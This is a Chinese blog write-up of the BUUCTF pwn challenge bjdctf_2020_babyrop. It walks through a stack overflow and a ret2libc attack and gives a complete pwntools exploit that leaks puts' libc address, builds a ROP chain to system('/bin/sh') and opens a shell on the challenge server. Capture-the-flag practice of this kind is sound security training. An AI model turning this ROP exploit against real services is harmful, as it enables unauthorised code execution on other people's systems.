BUUCTF—bjdctf_2020_babyrop

先看看开了什么保护机制

打开64位ida看看

去init函数看看

看这个是不是要泄露libc啊
再去vuln函数看看

一个栈溢出,那么我们去看看后门函数

好家伙,后门函数、system、/bin/sh是一个没有啊
没有地址随机化,那么我们的思路就是libc泄露了

找到pop rdi和ret,那么剩下的就是常规libc地址泄露了

from pwn import*
p=remote('node4.buuoj.cn',25243)
elf=ELF('./babyrop')
puts_got=elf.got['puts']
puts_plt=elf.plt['puts']
pop_rdi=0x400733
ret=0x4004c9
main=0x4006ad
p.recvuntil('story!\n')
payload=b'a'*0x28+p64(pop_rdi)+p64(puts_got)+p64(puts_plt)+p64(main)
p.sendline(payload)
puts_add=u64(p.recv(6).ljust(8,b'\x00'))
print(hex(puts_add))
system=puts_add-0x2a300
binsh=puts_add+0x11d6c7
p.recvuntil('story!\n')
payload=b'a'*0x28+p64(pop_rdi)+p64(binsh)+p64(system)+p64(main)
p.sendline(payload)
p.interactive()
posted @ 2022-10-14 17:32  予柒  阅读(130)  评论(0编辑  收藏  举报
返回顶端
Live2D /*修改地一:waifu.css*/
/*修改地二:waifu.css*/
/*修改地三:live2d.js*/ /*修改地四:waifu-tips.js*/